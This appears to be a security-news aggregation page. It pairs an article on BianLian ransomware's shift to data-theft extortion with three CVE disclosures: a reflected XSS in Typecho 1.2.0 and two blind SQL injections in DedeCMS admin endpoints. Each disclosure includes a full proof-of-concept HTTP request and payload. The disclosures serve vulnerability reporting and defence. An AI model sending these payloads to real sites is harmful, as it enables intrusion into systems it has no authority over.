BianLian, first discovered last July, hasn't deviated much from its initial tactic: deploying a custom go-based backdoor once it infiltrates a network. The functionality of the malware essentially remains the same except for a few tweaks, researchers from Redacted said in a blog post published today.

However, the swiftness with which the group's command-and-control server (C2) deploys the backdoor has increased, and the group notably has moved away from ransoming encrypted files to focusing more on pure data-leak extortion as a means to extract payments from victims, the researchers said.

"BianLian has discovered that they don't need to actually encrypt victim networks to get paid," Adam Flatley, vice president of intelligence at Redacted, says.

This shift to focus on data-leak extortion is "extremely dangerous," because it allows the group to take the time and effort to tailor the threats to specific victims and exert more pressure to pay ransoms, he adds.

"BianLian will have an even stronger pressure position on trying to force their victims to not work with the FBI, to not report the incident, and just pay the ransom and move on," Flatley says.

BianLian's motivation for changing its encryption strategy is likely a response to Avast's release of an encryption tool for organizations that have been targets of the group to unlock their files, the researchers noted.

Given that BianLian has used double-extortion methods from the outset — threatening to release a victim organization's stolen data online if a ransom wasn't paid by a certain deadline — the group decided to skip the encryption step and go right to extortion, according to Redacted.

**Maturing As a Cyberattack Business**

This shift is part of BianLian's overall evolution and maturation as a business, the researchers said. While from its inception the group has had "a high level of operational security and skill in network penetration," they now appear to be hitting their stride in terms of the actual business of running a cybercriminal extortion gang.

Indeed, moving away from the unique encryption method that it displayed in early attacks is a smart business move, Flatley says, particularly as an evasion tactic. Because data theft does not cause network nor business disruption, it calls less attention to BianLian's activity, "which means their operations can fly more under the radar," he says.

"When business services are disrupted, it's very hard to keep an event quiet because customers and business partners start to notice that services are down, for example," Flatley says.

Another thing the group has going for it to achieve success with this new strategy is a faster time to deploy a backdoor on a network once they've gained initial access, the researchers said. This speed is linked to BianLian's strong C2 server game, with the group bringing close to 30 new ones online each month, each with a typical lifetime of about two weeks, they said.

Once BianLian establishes a C2 connection to a victim network, it now deploys its backdoor in mere minutes — which means that by the time security administrators discover a BianLian C2, "it is highly likely that the group has already established a solid foothold into a victim's network," the researchers said.

While it's difficult to know how many victims BianLian has compromised, as of March 9, the group has detailed 116 victim organizations on its leak site, the researchers noted. Of those victims, healthcare organizations represent the single largest industry vertical victimized by the group — a shift from early attacks, which focused mainly on the media and entertainment sector.

**Shoring Up Cyber Defense Against Data Theft & Extortion**

With BianLian and other ransomware group's pivoting to pure extortion tactics, enterprises must also make changes to how they defend against these attacks, the researchers said.

"They will need to focus even more on techniques that can help them avoid having to pay the ransom in double-extortion scenarios," Flatley says.

Some of those techniques include a stronger prevention strategy against easily thwarted attacks, as well as quicker detection of "unpreventable" network intrusions, he says. This can be done by "following best practices on passwords and multifactor authentication, aggressively patching your systems in a prioritized and enforced regime, and providing security training for your employees," Flatley wrote in a blog post on how organizations can avoid paying a ransom.

Shoring up incident response as well as having a plan ahead of an attack to prepare for ransom demands can also help organizations avoid the worst outcome of extortion-based attacks, Flatley says.

As part of the former, Flatley notes in his post that organizations should ensure that they have good system backups, that those backups are secured effectively so an attacker can't access them, and that the restoration process is fully tested to ensure it works correctly.

BianLian Ransomware Pivots From Encryption to Pure Data-Theft Extortion

Cross Site Scripting vulnerability found in Typecho v.1.2.0 allows a remote attacker to execute arbitrary code via the Comment Manager /admin/manage-comments.php component.

**Typecho <= 1.2.0 Comment Manager with Refleted-XSS Vulnerability****Influenced Version**

Typecho <= 1.2.0

**Description**

Typecho admin backend comment manager with refleted-XSS vulnerability..

1.  Login to admin backend management system.
2.  In Comment Manager /admin/manage-comments.php, the unfiltered request parameter cid is directly echoed to html.

**POC**

POST /admin/manage-comments.php with:

    coid[]=1&cid="><script>alert(1)</script><!--
    

The full POC request:

POST /cms/typecho/admin/manage-comments.php?status=wating&category=&keywords=abc&\_\_typecho\_all\_posts=off&uid= HTTP/1.1
Host: 192.168.0.10
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.10/cms/typecho/admin/login.php?referer=http%3A%2F%2F192.168.0.10%2Fcms%2Ftypecho%2Fadmin%2Fmanage-comments.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: 745020ecd4b17dde48d43755702a78b4\_\_typecho\_uid=1; 745020ecd4b17dde48d43755702a78b4\_\_typecho\_authCode=%24T%249aGUcl7K02f405471bbdacf65892bf8ffb75bc211; PHPSESSID=m7h7isuus6cugk6mb58vdah296; u5DD\_2132\_saltkey=ql9191Ym; u5DD\_2132\_lastvisit=1677486351; u5DD\_2132\_seccodecSASGLE52ETX=1.1b4fba6d0be0f7dce2; u5DD\_2132\_ulastactivity=dd6b5bfUH2dwkFNJ5HnOvs2bnRKl16bY2TMsiYWsOsPOeru7pyMl; u5DD\_2132\_auth=ade9wjKb33QiAdI8RrnDloFyK4vB8ca3sx7pIgT0BNlWPo1CeA%2Bsk87ST8rZ%2FVqZTdeIhOInVMfZCF8zm7uu; u5DD\_2132\_lastcheckfeed=1%7C1677489964; u5DD\_2132\_nofavfid=1; u5DD\_2132\_home\_diymode=1; u5DD\_2132\_visitedfid=2; u5DD\_2132\_smile=1D1; u5DD\_2132\_home\_readfeed=1677497943; u5DD\_2132\_forum\_lastvisit=D\_2\_1677498054; u5DD\_2132\_st\_t=1%7C1677498055%7C9149ebde1ec47006277ae3faf93f0e2f; u5DD\_2132\_editormode\_e=1; u5DD\_2132\_st\_p=1%7C1677498095%7C926ebc78300a154f5ad9ebb023eb0b77; u5DD\_2132\_viewid=tid\_1; u5DD\_2132\_seccode=5.792e3c6d8b004d4403; u5DD\_2132\_seccodecSE52ETX=6.a73b7daa353701b59a
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

coid\[\]=1&cid="><script>alert(1)</script><!--

> Reported by Srpopty, vulnerability discovered by using Corax.

CVE-2023-27711: Typecho <= 1.2.0 Comment Manager with Refleted-XSS Vulnerability · Issue #1539 · typecho/typecho

SQL injection vulnerability found in DedeCMS v.5.7.106 allows a remote attacker to execute arbitrary code via the rank_* parameter in the /dedestory_catalog.php endpoint.

**Description**

Admin backend story catalog blind SQL injection via post parameters.

**Affected Version**

DedeCMS <= 5.7.160

**POC**

1.  Login to admin backend management.
2.  Request to /dede/story_catalog.php with GET parameter action=uprank and POST parameters rank_1=1'+and+sleep(3)+and+'1, this payload will lead to a time-based SQL injection.
3.  Requires PHP ≤ 5 and MySQL ≤ 5.5, and the story component contains at least one record in database.
4.  In the source code of /dede/story_catalog.php, when the GET parameter action is uprank, the POST value which the key contains rank_ will be directly joined into the update SQL statement, which lead to SQL update injection, finally the joint statement will be passed through mysqli_query, but this function only return boolean value when the query string is an update statement, that is why this is a blind injection.

Full POC request:

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  

POST /cms/dedecms/dede/story\_catalog.php?action=uprank HTTP/1.1  
Host: 192.168.0.8  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: menuitems=1\_1%2C2\_1%2C3\_1; PHPSESSID=k5ten9v1ljuogh8pjae2idof0b; \_csrf\_name\_273c7533=e59946ea73ad488a9da6a03897480ac5; \_csrf\_name\_273c75331BH21ANI1AGD297L1FF21LN02BGE1DNG=6c93980ce4934236; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=0462031c83e0ae08; DedeLoginTime=1677428501; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=d9cb1c6293c6c17e; ENV\_GOBACK\_URL=%2Fcms%2Fdedecms%2Fdede%2Fstory\_books.php  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 29  
  
rank\_1\=1'+and+sleep(3)+and+'1  

**Reference**

> Reported by Srpopty, vulnerability discovered by using Corax.

CVE-2023-27709: DedeCMS V5.7.160 Backend Blind SQL Injection

SQL injection vulnerability found in DedeCMS v.5.7.106 allows a remote attacker to execute arbitrary code via the rank_* parameter in the /dede/group_store.php endpoint.

**Description**

Admin backend group store blind SQL injection via post parameters.

**Affected Version**

DedeCMS <= 5.7.160

**POC**

1.  Login to admin backend management.
2.  Request to /dede/group_store.php with GET parameter action=uprank and POST parameters rank_1=1'+and+sleep(3)+and+'1, this payload will lead to a time-based SQL injection.
3.  In the source code of /dede/group_store.php, when the GET parameter action is uprank, the POST value which the key contains rank_ will be directly joined into the update SQL statement, which lead to SQL update injection, finally the joint statement will be passed through mysqli_query, but this function only return boolean value when the query string is an update statement, that is why this is a blind injection.

Full POC request:

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  

POST /cms/dedecms/dede/group\_store.php?action=uprank HTTP/1.1  
Host: 192.168.0.8  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: menuitems=1\_1%2C2\_1%2C3\_1; PHPSESSID=k5ten9v1ljuogh8pjae2idof0b; \_csrf\_name\_273c7533=e59946ea73ad488a9da6a03897480ac5; \_csrf\_name\_273c75331BH21ANI1AGD297L1FF21LN02BGE1DNG=6c93980ce4934236; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=0462031c83e0ae08; DedeLoginTime=1677428501; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=d9cb1c6293c6c17e; ENV\_GOBACK\_URL=%2Fcms%2Fdedecms%2Fdede%2Fgroup\_store.php  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 29  
  
rank\_1\=1'+and+sleep(3)+and+'1  

**Reference**

> Reported by Srpopty, vulnerability discovered by using Corax.

Tag

#intel